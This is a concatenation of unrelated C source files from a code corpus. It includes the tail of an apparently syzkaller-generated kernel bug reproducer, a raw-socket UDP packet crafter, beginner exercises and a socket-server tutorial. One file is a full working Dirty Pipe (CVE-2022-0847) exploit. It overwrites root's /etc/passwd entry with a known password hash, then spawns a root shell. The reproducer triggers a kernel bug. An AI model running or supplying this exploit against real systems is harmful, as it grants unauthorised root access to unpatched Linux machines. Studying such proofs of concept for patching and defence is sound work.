break;
if (i < 100) {
if (errno == EPERM) {
int fd = open(dir, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exit(1);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_loop()
{
setup_cgroups_loop();
checkpoint_net_namespace();
}
static void reset_loop()
{
reset_net_namespace();
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setup_cgroups_test();
write_file("/proc/self/oom_score_adj", "1000");
flush_tun();
}
static void close_fds()
{
int fd;
for (fd = 3; fd < MAX_FDS; fd++)
close(fd);
}
static void setup_binfmt_misc()
{
if (mount(0, "/proc/sys/fs/binfmt_misc", "binfmt_misc", 0, 0)) {
}
write_file("/proc/sys/fs/binfmt_misc/register", ":syz0:M:0:\x01::./file0:");
write_file("/proc/sys/fs/binfmt_misc/register",
":syz1:M:1:\x02::./file0:POC");
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void)
{
int i, call, thread;
int collide = 0;
again:
for (call = 0; call < 5; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
if (collide && (call % 2) == 0)
break;
event_timedwait(&th->done, 45);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
close_fds();
if (!collide) {
collide = 1;
goto again;
}
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
setup_loop();
int iter;
for (iter = 0;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
exit(1);
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
if (chdir(cwdbuf))
exit(1);
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
remove_dir(cwdbuf);
}
}
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
void execute_call(int call)
{
intptr_t res = 0;
switch (call) {
case 0:
NONFAILING(syz_init_net_socket(0x1f, 0xc0000000, 1));
break;
case 1:
res = -1;
NONFAILING(res = syz_init_net_socket(0x1f, 3, 1));
if (res != -1)
r[0] = res;
break;
case 2:
syscall(__NR_ioctl, r[0], 0x400448de, 0x20000000ul);
break;
case 3:
res = -1;
NONFAILING(res = syz_init_net_socket(0x1f, 3, 1));
if (res != -1)
r[1] = res;
break;
case 4:
syscall(__NR_ioctl, r[1], 0x400448de, 0ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
setup_binfmt_misc();
install_segv_handler();
for (procid = 0; procid < 6; procid++) {
if (fork() == 0) {
use_temporary_dir();
do_sandbox_none();
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/226611.c | #include <libgen.h>
#include <stdio.h>
#include <string.h>
static void remove_suffix(char *base, const char *suffix)
{
size_t baselen, suflen;
char *ptr;
baselen = strlen(base);
suflen = strlen(suffix);
ptr = base + baselen - suflen;
if (!strcmp(ptr, suffix))
*ptr = '\0';
}
/* Usage: basename PATH [SUFFIX] */
int main(int argc, char *argv[])
{
const char *suffix;
char *base;
switch (argc) {
case 2:
suffix = NULL;
break;
case 3:
suffix = argv[2];
break;
default:
fputs("basename: missing operand",stderr );
return 1;
}
base = basename(argv[1]);
if (suffix)
remove_suffix(base, suffix);
puts(base);
return 0;
}
|
the_stack_data/168892087.c | #include <stdio.h>
int main()
{
int n,i,d,p;
printf("Enter the length of array : ");
scanf("%d",&n);
int a[n];
for(i=0;i<n;i++)
{
printf("Enter the value for element %d : ",i+1);
scanf("%d",&a[i]);
}
printf("Enter the position you want to update : ");
scanf("%d",&p);
printf("Enter value for position %d : ",p);
scanf("%d",&d);
a[p]=d;
printf("New array after updating is : \n\t");
for(i=0;i<n;i++)
{
printf("%d ",a[i]);
}
return 0;
}
|
the_stack_data/192329782.c | //Uncomment this file to compile 2nd problem
/*#include "duration.h"
int main() {
double t = theta();
double d = distance();
double v = velocity();
double time = (d) / (v * cos(t));
printf("time = (%lf) / (%lf * cos(%lf)) = %lf\n", d, v, t, time);
printf("height = %lf * sin(%lf) * %lf - ((%.2f * %lf^2) / 2) = %lf\n", v, t, time, G, time, v * sin(t) * time - ((G * pow(time, 2)) / 2));
}*/ |
the_stack_data/117327985.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h> // socket
#include <sys/socket.h> // socket
#include <sys/ioctl.h> // ioctl
#include <net/if.h> // ifreq
#include <linux/if_packet.h> // sockaddr_ll
#include <arpa/inet.h> // inet_addr
#include <netinet/ip.h>
#include <linux/udp.h>
#define NUMPKTS 64
#define BUFLEN 100
#define COUNTS 10
#define PROTCP IPPROTO_TCP
#define PROUDP IPPROTO_UDP
#define SERVER_PORT 8888
#define SERVER_IP "127.0.0.1"
#define CLIENT_PORT 6666
#define CLIENT_IP "127.0.0.2"
/* 伪头部 */
struct udp_psd_header {
u_int32_t src;
u_int32_t des;
u_int8_t mbz;
u_int8_t ptcl;
u_int16_t len;
};
/* 计算校验和 */
unsigned short
csum(unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--) {
sum += *buf++;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
/* 计算 IP 校验和 */
/*
* This is a version of ip_compute_csum() optimized for IP headers,
* which always checksum on 4 octet boundaries.
*
* By Jorge Cwik <[email protected]>, adapted for linux by
* Arnt Gulbrandsen.
*/
unsigned short ip_fast_csum(unsigned char * iph,
unsigned int ihl)
{
unsigned int sum;
__asm__ __volatile__(
"movl (%1), %0 ;\n"
"subl $4, %2 ;\n"
"jbe 2f ;\n"
"addl 4(%1), %0 ;\n"
"adcl 8(%1), %0 ;\n"
"adcl 12(%1), %0 ;\n"
"1: adcl 16(%1), %0 ;\n"
"lea 4(%1), %1 ;\n"
"decl %2 ;\n"
"jne 1b ;\n"
"adcl $0, %0 ;\n"
"movl %0, %2 ;\n"
"shrl $16, %0 ;\n"
"addw %w2, %w0 ;\n"
"adcl $0, %0 ;\n"
"notl %0 ;\n"
"2: ;\n"
/* Since the input registers which are loaded with iph and ihl
are modified, we must also specify them as outputs, or gcc
will assume they contain their original values. */
: "=r" (sum), "=r" (iph), "=r" (ihl)
: "1" (iph), "2" (ihl)
: "memory");
return(sum);
}
/* 创建 raw socket */
int
make_raw_socket(int protocol)
{
int fd;
int val = 1;
fd = socket(AF_INET, SOCK_RAW, protocol);
if (fd < 0) {
perror("socket() error!");
exit(EXIT_FAILURE);
}
/* 开启 IP_HDRINCL 特性，手动构造 IP 报文 */
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val))) {
perror("setsockopt() for IP_HDRINCL error");
exit(EXIT_FAILURE);
}
#ifndef NODEBUG
else {
printf("setsockopt() for IP_HDRINCL is OK.\n");
}
#endif
return fd;
}
/*
* 打印数据包的信息
*/
void
print_packet_info(struct ip *ip, struct udphdr *udp)
{
printf("================= IP header ===============\n");
printf("ip version: %d\n", ip->ip_v);
printf("ip tos: %d\n", ip->ip_tos);
printf("ip header len: %d\n", ip->ip_hl);
printf("ip total len: %d\n", ntohs(ip->ip_len));
printf("src ip: %s\n", (char *)inet_ntoa(ip->ip_src));
printf("dst ip: %s\n", (char *)inet_ntoa(ip->ip_dst));
printf("================= UDP header ===============\n");
printf("udp header len: %d\n", ntohs(udp->len));
printf("udp header len: %d\n", udp->len);
printf("udp checksum: 0x%04x\n", udp->check);
printf("udp src port: %d\n", ntohs(udp->source));
printf("udp src port: %d\n", ntohs(udp->dest));
}
/*
* 构造报文
*/
int
setup_packet(int fd, char *buffer, struct sockaddr_in *saddr,
struct sockaddr_in *daddr, char *str, int strlen)
{
struct ip *ip;
//struct tcphdr *tcp;
struct udphdr *udp;
int ip_len, udplen;
int udphostlen;
//char idinfo[] = "123";
//void *p = NULL;
/* 填充 IP 首部 */
ip = (struct ip *)buffer;
ip->ip_v = IPVERSION;
//ip->ip_hl = sizeof(struct ip) >> 2;
ip->ip_hl = 5;
ip->ip_tos = 4;
ip_len = /*sizeof(struct ip)*/(ip->ip_hl << 2) + sizeof(struct udphdr) + strlen;
//ip_len = (ip->ip_hl << 2) + sizeof(struct udphdr) + sizeof(str);
ip->ip_len = htons(ip_len);
ip->ip_id = htons(4);
ip->ip_off = 0;
ip->ip_ttl = MAXTTL;
ip->ip_p = IPPROTO_UDP;
ip->ip_sum = 0;/*ip_fast_csum((unsigned char *)ip, ip->ip_hl);*/
ip->ip_src = saddr->sin_addr;
ip->ip_dst = daddr->sin_addr;
//p = (void *)(buffer + sizeof(struct ip));
//memcpy(p, idinfo, sizeof(idinfo));
// no option
//printf("option: %s\n", (char *)p);
printf("client ip checksum: 0x%04x\n", ip->ip_sum);
//printf("ip id: %d\n", ip->ip_id);
/* 填充 UDP 首部 */
//udp = (struct udphdr *)(buffer + sizeof(struct ip));
udp = (struct udphdr *)(buffer + (ip->ip_hl << 2));
udp->source = saddr->sin_port;
udp->dest = daddr->sin_port;
udp->len = htons(sizeof(struct udphdr) + strlen);
udphostlen = ntohs(udp->len);
/* 计算checksum 伪头部+UDP头部+数据部分 */
udplen = sizeof(struct udp_psd_header) + sizeof(struct udphdr) + strlen + 1;
char *cksum = malloc(udplen);
memset(cksum, 0, udplen);
struct udp_psd_header *uph = (struct udp_psd_header *)cksum;
uph->src = saddr->sin_addr.s_addr;
uph->des = daddr->sin_addr.s_addr;
uph->mbz = 0;
uph->ptcl = 17;
uph->len = htons(sizeof(struct udphdr) + strlen);
memcpy(cksum + sizeof(struct udp_psd_header), udp, sizeof(struct udphdr));
memcpy(cksum + sizeof(struct udp_psd_header) + sizeof(struct udphdr), str,
strlen);
udp->check = csum((unsigned short *)cksum, (sizeof(struct udphdr) +
sizeof(struct udp_psd_header) + strlen + 1) / 2);
printf("client udp checksum: 0x%04x\n", udp->check);
/* 将数据拷贝进缓冲区 */
//memcpy(buffer + sizeof(struct ip) + sizeof(struct udphdr), str, strlen);
memcpy(buffer + (ip->ip_hl << 2) + sizeof(struct udphdr), str, strlen);
print_packet_info(ip, udp);
return ip_len;
}
/* 发送数据包 */
int
send_packets(int fd, char *buffer, int len, struct sockaddr_in daddr)
{
int n;
n = sendto(fd, buffer, len, 0, (struct sockaddr *)&daddr, sizeof(daddr));
if ( n < 0) {
printf("sendto() error!, error: %s\n", strerror(errno));
return 0;
}
#ifndef NODEBUG
else {
printf("Count #%u - sendto() is ok.\n", n);
return 1;
}
#endif
}
/* 接收数据包 */
int
recv_packets(int fd, char *buffer, int len)
{
int n;
n = recvfrom(fd, buffer, len, 0, NULL, NULL);
if (n < 0) {
printf("Failed to recv packets!\n");
exit(EXIT_FAILURE);
}
else {
printf("recv str is: %s\n", buffer);
}
}
int
main(int argc, char const *argv[])
{
int fd;
int protocol;
int val = 1;
struct sockaddr_in saddr, daddr;
if (argc < 5) {
printf("- Invalid parameters!!!\n");
printf("Usage: %s srcip srcport dstip dstport\n", argv[0]);
exit(EXIT_FAILURE);
}
protocol = PROUDP;
fd = make_raw_socket(protocol);
if (fd >= 0) {
printf("socket() - Using SOCK_RAW socket and UDP protocol is OK.\n");
}
bzero(&saddr, sizeof(struct sockaddr_in));
bzero(&daddr, sizeof(struct sockaddr_in));
saddr.sin_family = AF_INET;
daddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(argv[1]);
daddr.sin_addr.s_addr = inet_addr(argv[3]);
saddr.sin_port = htons(atoi(argv[2]));
daddr.sin_port = htons(atoi(argv[4]));
char buf[BUFLEN];
memset(buf, 0, BUFLEN);
//int id = 5, idx = 0;
char str[] = "hello world!";
int strlen = sizeof(str);
//while (idx < 2) {
int tolen = setup_packet(fd, buf, &saddr, &daddr, str, strlen);
printf("packet len: %d\n", tolen);
printf("buf: %s\n", buf);
// 如果不是 root 用户，需要获取权限
setuid(getpid());
printf("Trying...\n");
printf("Using raw socket and UDP protocol\n");
printf("Using Source IP: %s port: %u, Target IP: %s port: %u.\n",
argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
printf("Ip length: %d\n", tolen);
/* Send loop, send for every 2 second for 2000000 count */
//int i = 0;
// while (i < COUNTS) {
// if (send_packets(fd, buf, tolen, daddr) == 0) {
// perror("Error sending packet!");
// exit(EXIT_FAILURE);
// }
// else {
// printf("Packet sent successfully\n");
// }
// i ++;
// }
char recvbuf[BUFLEN];
memset(recvbuf, 0, BUFLEN);
if (send_packets(fd, buf, tolen, daddr) == 0) {
perror("Error sending packet!");
exit(EXIT_FAILURE);
}
else {
printf("Packet sent successfully\n");
//recv_packets(fd, recvbuf, BUFLEN);
}
// id = 4;
// strcpy(str, "");
// strlen = 0;
// memset(buf, 0, BUFLEN);
// idx ++;
//}
close(fd);
return 0;
} |
the_stack_data/43951.c | #include <stdio.h>
void normalise (char *string) {
for (int i = 0; string[i] != '\0'; i++) {
char smb = string[i];
if (smb >= 'A' && smb <= 'Z' )
string[i] += ' ';
else if (smb < 'a' || smb > 'z')
string[i] = '{';
}
}
int main () {
char string[1001];
int frequency[27] = {0};
fgets(string, 1000, stdin);
normalise(string);
for (int i = 0; string[i] != '\0'; i++) {
frequency[string[i] - 'a']++;
}
for (int i = 0; i < 26; i++)
if (frequency[i])
printf("%c - %d\n", i + 'a', frequency[i]);
}
|
the_stack_data/48575337.c | #include <stdio.h>
void main() {
float data = 12.34f;
printf("%f, %e, %E", data, data, data);
}
|
the_stack_data/90765034.c | #include <stdio.h>
#include <stdlib.h>
typedef struct jogadores
{
int numero;
int peso;
float altura;
char inicial;
}time;
time printa(time printt[])
{
int i;
for(i=0;i<11;i++)
{
printf("NUMERO JOGADOR: %d\n", printt[i].numero);
printf("PESO JOGADOR: %d\n", printt[i].peso);
printf("ALTURA JOGADOR: %.2f\n", printt[i].altura);
printf("INICIAL JOGADOR: '%c'\n", printt[i].inicial);
printf("\n");
}
}
time baixo(time baixoo[])
{
float altura;
int i,j;
char ini;
altura=baixoo[0].altura;
for(i=0;i<11;i++)
{
if(altura>baixoo[i].altura)
{
altura=baixoo[i].altura;
ini=baixoo[i].inicial;
}
}
printf("INICIAL DO MENOR:%c\n", ini);
}
time peso(time pesoo[])
{
int i,num;
int pesado=0;
for(i=0;i<11;i++)
{
if(pesado<pesoo[i].peso)
{
pesado=pesoo[i].peso;
num=pesoo[i].numero;
}
}
printf("O NUMERO DO JOGADOR MAIS PESADO: %d\n", num);
}
int main()
{
time jogador[11];
int i;
for(i=0;i<11;i++)
{
printf("Digite o numero jogador:");
scanf("%d", &jogador[i].numero);
printf("Digite o peso do jogador:");
scanf("%d", &jogador[i].peso);
printf("Digite a altura do jogador:");
scanf("%f", &jogador[i].altura);
printf("Digite a inicial do jogador:");
fflush(stdin);
scanf("%c", &jogador[i].inicial);
printf("\n");
}
printa(jogador);
baixo(jogador);
peso(jogador);
return 0;
}
|
the_stack_data/703512.c | /* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main() {
const char *const path = "/etc/passwd";
printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
FILE *f1 = fopen("/etc/passwd", "r");
FILE *f2 = fopen("/tmp/passwd.bak", "w");
if (f1 == NULL) {
printf("Failed to open /etc/passwd\n");
exit(EXIT_FAILURE);
} else if (f2 == NULL) {
printf("Failed to open /tmp/passwd.bak\n");
fclose(f1);
exit(EXIT_FAILURE);
}
char c;
while ((c = fgetc(f1)) != EOF)
fputc(c, f2);
fclose(f1);
fclose(f2);
loff_t offset = 4; // after the "root"
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron
printf("Setting root password to \"aaron\"...\n");
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
"echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
"cp /tmp/passwd.bak /etc/passwd;"
"echo \\\"Done! Popping shell... (run commands now)\\\";"
"/bin/sh;"
"\" root"};
execv("/bin/sh", argv);
printf("system() function call seems to have failed :(\n");
return EXIT_SUCCESS;
}
|
the_stack_data/57949979.c | #include <stdio.h>
#include <stdlib.h>
struct ListNode {
int val;
struct ListNode *next;
};
static void reverse(struct ListNode *dummy)
{
struct ListNode *prev = dummy->next;
if (prev != NULL) {
struct ListNode *p = prev->next;
while (p != NULL) {
prev->next = p->next;
p->next = dummy->next;
dummy->next = p;
p = prev->next;
}
}
}
static void reorderList(struct ListNode *head)
{
if (head == NULL) {
return;
}
int count = 0;
struct ListNode *p = head;
struct ListNode *q = p;
for (; p != NULL; p = p->next) {
if ((++count & 0x1) == 0) {
q = q->next;
}
}
reverse(q);
struct ListNode *r;
for (p = head, r = q->next; r != NULL; p = r->next, r = q->next) {
q->next = r->next;
r->next = p->next;
p->next = r;
}
}
int main(int argc, char **argv)
{
int i, count = argc - 1;
struct ListNode *head = NULL, *p, *prev;
for (i = 0; i < count; i++) {
p = malloc(sizeof(*p));
p->val = atoi(argv[i + 1]);
p->next = NULL;
if (head == NULL) {
head = p;
} else {
prev->next = p;
}
prev = p;
}
reorderList(head);
for (p = head; p != NULL; p = p->next) {
printf("%d ", p->val);
}
printf("\n");
return 0;
}
|
the_stack_data/13519.c | /*
NETWORK PROGRAMMING WITH SOCKETS
In this program we illustrate the use of Berkeley sockets for interprocess
communication across the network. We show the communication between a server
process and a client process.
Since many server processes may be running in a system, we identify the
desired server process by a "port number". Standard server processes have
a worldwide unique port number associated with it. For example, the port
number of SMTP (the sendmail process) is 25. To see a list of server
processes and their port numbers see the file /etc/services
In this program, we choose port number 6000 for our server process. Here we
shall demonstrate TCP connections only. For details and for other types of
connections see:
Unix Network Programming
-- W. Richard Stevens, Prentice Hall India.
To create a TCP server process, we first need to open a "socket" using the
socket() system call. This is similar to opening a file, and returns a socket
descriptor. The socket is then bound to the desired port number. After this
the process waits to "accept" client connections.
*/
#include <stdio.h>
#include <sys/types.h>
/* The following three files must be included for network programming */
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* THE SERVER PROCESS */
/* Compile this program with cc server.c -o server
and then execute it as ./server &
*/
main()
{
int sockfd, newsockfd ; /* Socket descriptors */
int clilen;
struct sockaddr_in cli_addr, serv_addr;
int i;
char buf[100]; /* We will use this buffer for communication */
/* The following system call opens a socket. The first parameter
indicates the family of the protocol to be followed. For internet
protocols we use AF_INET. For TCP sockets the second parameter
is SOCK_STREAM. The third parameter is set to 0 for user
applications.
*/
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("Cannot create socket\n");
exit(0);
}
/* The structure "sockaddr_in" is defined in <netinet/in.h> for the
internet family of protocols. This has three main fields. The
field "sin_family" specifies the family and is therefore AF_INET
for the internet family. The field "sin_addr" specifies the
internet address of the server. This field is set to INADDR_ANY
for machines having a single IP address. The field "sin_port"
specifies the port number of the server.
*/
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(6000);
/* With the information provided in serv_addr, we associate the server
with its port using the bind() system call.
*/
if (bind(sockfd, (struct sockaddr *) &serv_addr,
sizeof(serv_addr)) < 0) {
printf("Unable to bind local address\n");
exit(0);
}
listen(sockfd, 5); /* This specifies that up to 5 concurrent client
requests will be queued up while the system is
executing the "accept" system call below.
*/
/* In this program we are illustrating a concurrent server -- one
which forks to accept multiple client connections concurrently.
As soon as the server accepts a connection from a client, it
forks a child which communicates with the client, while the
parent becomes free to accept a new connection. To facilitate
this, the accept() system call returns a new socket descriptor
which can be used by the child. The parent continues with the
original socket descriptor.
*/
while (1) {
/* The accept() system call accepts a client connection.
It blocks the server until a client request comes.
The accept() system call fills up the client's details
in a struct sockaddr which is passed as a parameter.
The length of the structure is noted in clilen. Note
that the new socket descriptor returned by the accept()
system call is stored in "newsockfd".
*/
clilen = sizeof(cli_addr);
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr,
&clilen) ;
if (newsockfd < 0) {
printf("Accept error\n");
exit(0);
}
/* Having successfully accepted a client connection, the
server now forks. The parent closes the new socket
descriptor and loops back to accept the next connection.
*/
if (fork() == 0) {
/* This child process will now communicate with the
client through the send() and recv() system calls.
*/
close(sockfd); /* Close the old socket since all
communications will be through
the new socket.
*/
/* We initialize the buffer, copy the message to it,
and send the message to the client.
*/
strcpy(buf,"Message from server");
send(newsockfd, buf, strlen(buf) + 1, 0);
/* We again initialize the buffer, and receive a
message from the client.
*/
for(i=0; i < 100; i++) buf[i] = '\0';
recv(newsockfd, buf, 100, 0);
printf("%s\n", buf);
close(newsockfd);
exit(0);
}
close(newsockfd);
}
}
|
the_stack_data/172962.c | #include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
#include <stdint.h>
#include <errno.h>
#include <inttypes.h>
#define BUFFER_SIZE 32
typedef struct Item {
int8_t val;
struct Item *next;
struct Item *prev;
} item_t;
typedef struct Queue {
item_t *head;
item_t *last;
uint8_t length;
} queue_t;
item_t *item_t_create(int8_t value) {
item_t *item = (item_t *)malloc(sizeof(item_t));
item->val = value;
item->next = NULL;
item->prev = NULL;
return item;
}
void queue_enqueue(int8_t value, queue_t *queue) {
item_t *new = item_t_create(value);
if (queue->head == NULL) {
queue->head = new;
queue->last = new;
return;
}
new->prev = queue->last;
queue->last->next = new;
queue->last = new;
return;
}
int8_t queue_dequeue(queue_t *queue) {
int8_t returnval = -1;
if (queue->length>0) {
returnval = queue->head->val;
queue->head = queue->head->next;
free(queue->head->prev);
queue->head->prev = NULL;
}
return returnval;
}
queue_t *queue_create() {
queue_t *queue = (queue_t *)malloc(sizeof(queue_t));;
queue->length=0;
queue->head = NULL;
queue->last = NULL;
return queue;
}
void queue_free(queue_t *queue) {
while (queue->length>0) {
queue_dequeue(queue);
}
free(queue);
}
void add_to_queue(queue_t *queue) {
int8_t val = 0;
errno = 0;
bool is_success = false;
while (!is_success) {
printf("What is the value of your number? ");
scanf("%",SCNd8,&val);
if (errno == 0) {
is_success = true;
}
}
queue_enqueue(val,queue);
}
int main(int argc, char **argv) {
char in_char = ';';
queue_t *queue = queue_create();
while (in_char != 'q') {
printf("Queue length is %i\n",queue->length);
printf("a: add an item to the queue\n");
printf("d: remove an item from the queue\n");
printf("p: print the queue\n");
printf("q: quit\n");
printf("Your choice: ");
scanf(" %c",&in_char);
scanf ("%*[^\n]"); scanf ("%*c");
switch (in_char) {
case 'a': add_to_queue(queue); break;
}
}
queue_free(queue);
return 0;
}
|
the_stack_data/294307.c | /*
* Copyright (c) 2020 HiSilicon (Shanghai) Technologies CO., LIMITED.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifdef CONFIG_FLASH_ENCRYPT_SUPPORT
#include <hi_stdlib.h>
#include <hi_mem.h>
#include <hi_cipher.h>
#include <hi_efuse.h>
#include <hi_flash.h>
#include <hi_nv.h>
#include <hi_upg_file.h>
#include <hi_partition_table.h>
#include "upg_common.h"
#include "kernel_crypto.h"
#define SFC_BUFFER_BASE_ADDRESS 0x400000
static const hi_u8 g_upg_file_magic[IV_BYTE_LENGTH] = {
0xE4, 0xEE, 0x10, 0x0E, 0x43, 0x4D, 0x94, 0x24,
0xC7, 0x54, 0x6D, 0xFB, 0x15, 0xA1, 0x46, 0x97
};
encrypt_ctx g_encrypt_param = {0};
encrypt_ctx *encrypt_get_ctx(hi_void)
{
return &g_encrypt_param;
}
hi_void crypto_clear_content(hi_u8 *content, hi_u32 content_len)
{
if ((content == HI_NULL) || (content_len == 0)) {
return;
}
(hi_void)memset_s(content, content_len, 0x0, content_len);
}
hi_u32 crypto_content_id(encrypt_ctx *cfg, crypto_workkey_partition *content, crypto_workkey_partition *content_bak)
{
